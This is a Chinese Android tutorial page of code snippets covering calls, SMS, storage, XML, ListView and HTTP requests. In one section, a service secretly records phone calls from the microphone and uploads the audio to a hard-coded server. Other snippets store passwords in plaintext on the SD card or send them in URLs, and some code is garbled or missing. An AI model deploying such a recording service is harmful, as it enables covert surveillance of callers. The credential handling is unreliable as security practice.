Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> android小知識點代碼片段

android小知識點代碼片段

編輯:關於Android編程

1 撥打電話的操作 播打電話號碼
    Intent intent = new Intent();
    intent.setAction(Intent.ACTION_CALL);
    intent.setData(Uri.parse("tel:"+number));
    startActivity(intent);

2 發送短信的操作 短信過長時 拆分短信 一條短信最大的文本長度 是多少 ? 中文 70 漢字 英文 160字符

   SmsManager smsmanager = SmsManager.getDefault();
    /*
    *sentIntent, deliveryIntent延期的意圖 ,
    *sentintent 發送報告
    *deliveryIntent 送達報告
    */

    ArrayList messages = smsmanager.divideMessage(content);
    for(String message : messages){
        smsmanager.sendTextMessage(number, null, message, null, null);
    }

3.檢測sd卡狀態,並往sd卡中寫數據。需要權限

   //MEDIA_UNKNOWN:不能識別sd卡
    //MEDIA_REMOVED:沒有sd卡
    //MEDIA_UNMOUNTED:sd卡存在但是沒有掛載
    //MEDIA_CHECKING:sd卡正在准備
    //MEDIA_MOUNTED:sd卡已經掛載,可用

    if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
        //返回一個File對象,其路徑是sd卡的真實路徑
        File file = new File(Environment.getExternalStorageDirectory(), "info.txt");
        FileOutputStream fos;
        try {
            fos = new FileOutputStream(file);
            fos.write((name + "##" + pass).getBytes());
            fos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    else{
        Toast.makeText(this, "sd卡不可用喲親麼麼哒", 0).show();
    }
}

4.判斷sd卡剩余容量。

File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize;
long totalBlocks;
long availableBlocks;

//獲取當前系統版本的等級
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){       //4.3版本後開始起作用
     blockSize = stat.getBlockSizeLong();
     totalBlocks = stat.getBlockCountLong();
     availableBlocks = stat.getAvailableBlocksLong();
} else{                                                                                                                    //否則使用舊的api                                            
    blockSize = stat.getBlockSize();
    totalBlocks = stat.getBlockCount();
    availableBlocks = stat.getAvailableBlocks();
}

TextView tv = (TextView) findViewById(R.id.tv);
tv.setText(formatSize(availableBlocks * blockSize));

5使用xml序列化器生成xml文件

//1.拿到序列化器對象
XmlSerializer xs = Xml.newSerializer();
//2.初始化
File file = new File("sdcard/sms2.xml");
try {
    FileOutputStream fos = new FileOutputStream(file);
    //enconding:指定用什麼編碼生成xml文件
    xs.setOutput(fos, "utf-8");

    //3.開始生成xml文件
    //enconding:指定頭結點中的enconding屬性的值
    xs.startDocument("utf-8", true);

    xs.startTag(null, "message");

    for (Message sms : smsList) {
        xs.startTag(null, "sms");

        xs.startTag(null, "body");
        xs.text(sms.getBody() + "
"); xs.endTag(null, "body"); xs.startTag(null, "date"); xs.text(sms.getDate()); xs.endTag(null, "date"); xs.startTag(null, "type"); xs.text(sms.getType()); xs.endTag(null, "type"); xs.startTag(null, "address"); xs.text(sms.getAddress()); xs.endTag(null, "address"); xs.endTag(null, "sms"); } xs.endTag(null, "message"); //告訴序列化器,文件生成完畢 xs.endDocument(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }

6.解析xml文件

 //獲取到src文件夾下的資源文件
InputStream is = getClassLoader().getResourceAsStream("weather.xml");

//拿到pull解析器對象
XmlPullParser xp = Xml.newPullParser();
//初始化
try {
    xp.setInput(is, "gbk");

    //獲取當前節點的事件類型,通過事件類型的判斷,我們可以知道當前節點是什麼節點,從而確定我們應該做什麼操作
    int type = xp.getEventType();
    City city = null;
    while(type != XmlPullParser.END_DOCUMENT){
        //根據節點的類型,要做不同的操作
        switch (type) {
        case XmlPullParser.START_TAG:
            //                    獲取當前節點的名字
            if("weather".equals(xp.getName())){
                //創建city集合對象,用於存放city的javabean
                cityList = new ArrayList();
            }
            else if("city".equals(xp.getName())){
                //創建city的javabean對象
                city = new City();
            }
            else if("name".equals(xp.getName())){
                // 獲取當前節點的下一個節點的文本
                String name = xp.nextText();
                city.setName(name);
            }
            else if("temp".equals(xp.getName())){
                // 獲取當前節點的下一個節點的文本
            }
            else if("pm".equals(xp.getName())){
                // 獲取當前節點的下一個節點的文本
            }
            break;
        case XmlPullParser.END_TAG:
            if("city".equals(xp.getName())){
            }
            break;
        }
        //把指針移動到下一個節點,並返回該節點的事件類型
        type = xp.next();
    }

} catch (Exception e) {
    e.printStackTrace();
}

7 listview優化

   1)復用convertView
        View v = null;
        //判斷條目是否有緩存
        if(convertView == null){
            //把布局文件填充成一個View對象
            v = View.inflate(MainActivity.this, R.layout.item_listview, null);
        }else{
            v = convertView;
        }

  2)利用viewHolder,返回一個View對象,作為listview的條目顯示至界面
    public View getView(int position, View convertView, ViewGroup parent) {
        News news = newsList.get(position);
        View v = null;
        ViewHolder mHolder;
        if(convertView == null){
            v = View.inflate(MainActivity.this, R.layout.item_listview, null);
            mHolder = new ViewHolder();
            //把布局文件中所有組件的對象封裝至ViewHolder對象中
            mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title);
            mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail);
            mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment);
            mHolder.siv = (SmartImageView) v.findViewById(R.id.iv);
            //把ViewHolder對象封裝至View對象中
            v.setTag(mHolder);
        }else{
            v = convertView;
            mHolder = (ViewHolder) v.getTag();
        }
        //給三個文本框設置內容
        mHolder.tv_title.setText(news.getTitle());
        mHolder.tv_detail.setText(news.getDetail());
        mHolder.tv_comment.setText(news.getComment() + "條評論");
        //給新聞圖片imageview設置內容
        mHolder.siv.setImageUrl(news.getImageUrl());
        return v;
    }

    class ViewHolder{
        //條目的布局文件中有什麼組件,這裡就定義什麼屬性
        TextView tv_title;
        TextView tv_detail;
        TextView tv_comment;
        SmartImageView siv;
    }

8 junit 測試框架的使用

    1)在manifest中添加上下列代碼
    

    2)在application下添加以下代碼
    

    3)創建測試類繼承AndroidTestCase類

    4)編寫測試方法

10 采用get方式提交數據 原理:拼裝url

    String param1 = URLEncoder.encode(name);
    String param2 = URLEncoder.encode(password);
    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();

    conn.setRequestMethod("GET");
    conn.setReadTimeout(5000);
    // 數據並沒有發送給服務器
    // 獲取服務器返回的流信息
    InputStream is = conn.getInputStream();

11 提交中文時會產生亂碼問題

  1)服務器端問題 Tomcat 默認編碼為iso8859-1  而提交的數據編碼為utf-8
   處理方法:服務器端onPost方法中
    Sring name=request.getParameter("name");
    if(name!=null){
        name=new String(name.getBytes("iso8859-1"),"utf-8");
    }

  2)安卓端的問題 提交的url中文要編碼
   解決辦法
    String param1 = URLEncoder.encode(name);
    String param2 = URLEncoder.encode(password);
    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);

12 采用post方法提交數據

    1)get 一次提交的數據數據量比較小 4K 內部其實通過組拼url的方式
       post 可以提交比較大的數據 form表單的形式 流的方式寫到服務器

    public static String sendDataByPost(String path, String name,String password) throws Exception {

        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();

        String data = "name=" + param1 + "&password=" + param2;

        conn.setRequestMethod("POST");
        conn.setConnectTimeout(5000);
        // 設置 http協議可以向服務器寫數據
        conn.setDoOutput(true);
        // 設置http協議的消息頭 設置提交的數據類型為表單類型
        conn.setRequestProperty("Content-Type",
                "application/x-www-form-urlencoded");
        conn.setRequestProperty("Content-Length", data.length() + "");
        // 把我們准備好的data數據寫給服務器

        OutputStream os = conn.getOutputStream();
        os.write(data.getBytes());
        // httpurlconnection 底層實現 outputstream 是一個緩沖輸出流
        // 只要我們獲取任何一個服務器返回的信息 , 數據就會被提交給服務器 , 得到服務器返回的流信息
        int code = conn.getResponseCode();

        if (code == 200) {
            InputStream is = conn.getInputStream();
            byte[] result = StreamTool.getBytes(is);
            return new String(result);
        } else {
            throw new IllegalStateException("服務器狀態異常");
        }
    }

    2)處理中文 亂碼
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        String data = "name=" + param1 + "&password=" + param2;

13 由於面向http協議提交數據很麻煩,所以gogole提供了一套簡單api httpclient來模擬浏覽器 使用httpclient get方式提交數據

    /**
     * httpclient 浏覽器的簡單包裝
     * new HttpClient 就相當於得到了一個浏覽器
     */
    public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{

        //1. 獲取到一個浏覽器的實例
        HttpClient client = new DefaultHttpClient();
        //2. 准備請求的地址
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2);

        //3. 發請求
        HttpResponse  ressponse = client.execute(httpGet);
        int code = ressponse.getStatusLine().getStatusCode();
        if(code == 200){
            InputStream is  =ressponse.getEntity().getContent();
            byte[] result = StreamTool.getBytes(is);
            return new String(result);
        }
        else{
            throw new IllegalStateException("服務器狀態異常");
        }
    }

14 采用httpclient post方式提交數據

public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{
    //1. 獲取到一個浏覽器的實例
    HttpClient client = new DefaultHttpClient();
    //2. 准備要請求的 數據類型
    HttpPost httppost = new HttpPost(path);

    // 鍵值對
    List< NameValuePair> parameters = new ArrayList();
    parameters.add(new BasicNameValuePair("name", name));
    parameters.add(new BasicNameValuePair("password", password));

    UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8");

    //3.設置post請求的數據實體
    httppost.setEntity(entity);

    //4. 發送數據給服務器
    HttpResponse  ressponse = client.execute(httppost);
    int code = ressponse.getStatusLine().getStatusCode();
    if(code == 200){
        InputStream is  =ressponse.getEntity().getContent();
        byte[] result = StreamTool.getBytes(is);
        return new String(result);
    }
    else{
        throw new IllegalStateException("服務器狀態異常");
    }
}

15 短信監聽器獲取短信的操作在onreceive方法中

     // intent 存放的有接收到的短信的內容
    Object[] pdus =  (Object[]) intent.getExtras().get("pdus");
    for(Object pdu:pdus){

        SmsMessage message  = SmsMessage.createFromPdu((byte[])pdu);
        // 獲取短信的正文內容
        final String content = message.getMessageBody();
        //獲取短信的發送者
        final String address = message.getOriginatingAddress();

16 四大組件service的使用 服務是運行在主線程中的。 AndroidManifest中配置組件

啟動服務 :
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);


1 在服務裡實現電話監聽
權限:            監聽電話狀態
          監聽sd卡狀態
             寫外部存儲設備
                       錄音 使用mic
                           訪問互聯網
public class PhoneListenService extends Service {

    public IBinder onBind(Intent intent) {
        return null;
    }

     //2. onCreate方法在服務第一次被創建的時候 執行
    public void onCreate() {
        super.onCreate();
        setForeground(true); //提升為前台進程

        // 1. 判斷當前手機的狀態,
        // 如果發現手機處於 通話狀態
        // 創建一個錄音器, 錄下來用戶的通話信息
        // 當發現手機再次處於 idle 狀態 停止錄音機,把音頻文件 上傳到服務器
        // 得到手機與電話狀態相關的服務
        TelephonyManager manager = (TelephonyManager) this
                .getSystemService(TELEPHONY_SERVICE);
        //監聽電話狀態
        manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);

    }

    private class MyPhoneListener extends PhoneStateListener {
        MediaRecorder recorder = null;
        /**
         *當電話的通話狀態發生改變的時候 被調用的方法
         */
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閒置狀態
                    System.out.println("當前電話處於閒置狀態 ");

                    // 判斷下recorder是否為空
                    if(recorder!=null){
                        recorder.stop();
                        recorder.release(); // Now the object cannot be reused
                        recorder = null;

                        new Thread(){

                            @Override
                            public void run() {
                                // 上傳數據到服務器  演示的代碼  有問題的
                                File file = new File("/sdcard/temp.3gp");
                                try {
                                    upload(file);
                                } catch (Exception e) {
                                    e.printStackTrace();
                                }
                            }
                        }.start();
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態
                    System.out.println("電話號碼為 " + incomingNumber);
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態
                    System.out.println("當前電話處於通話狀態 ");
                    // 初始化一個錄音器,
                    recorder = new MediaRecorder();
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    recorder.setOutputFile("/sdcard/temp.3gp");
                    recorder.prepare();
                    recorder.start();   // Recording is now started
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }

            super.onCallStateChanged(state, incomingNumber);
        }

    }

    public void upload(File file) throws Exception{
        // 實例化上傳數據的 數組  part []
        Part[] parts = {
                  new FilePart("file",file)};

        PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");


        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
        org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
        client.getHttpConnectionManager().getParams()
          .setConnectionTimeout(5000);
        int status = client.executeMethod(filePost);
        if(status==200){

            System.out.println("上傳成功");
        }
        else{
            throw new IllegalStateException("服務器狀態異常");
        }

    }

}

13service的生命周期

oncreate()   服務創建時候調用的方法
onstart()    服務開啟時候調用的方法
ondestroy()  服務停止時候調用的方法

兩種服務開啟方式
1)通過startservice()開始服務 StopService()結束服務。
2)綁定方式
參數 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 綁定的時候服務不存在的時候會自動創建
bindService(service,conn,flags);
unBindService
  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved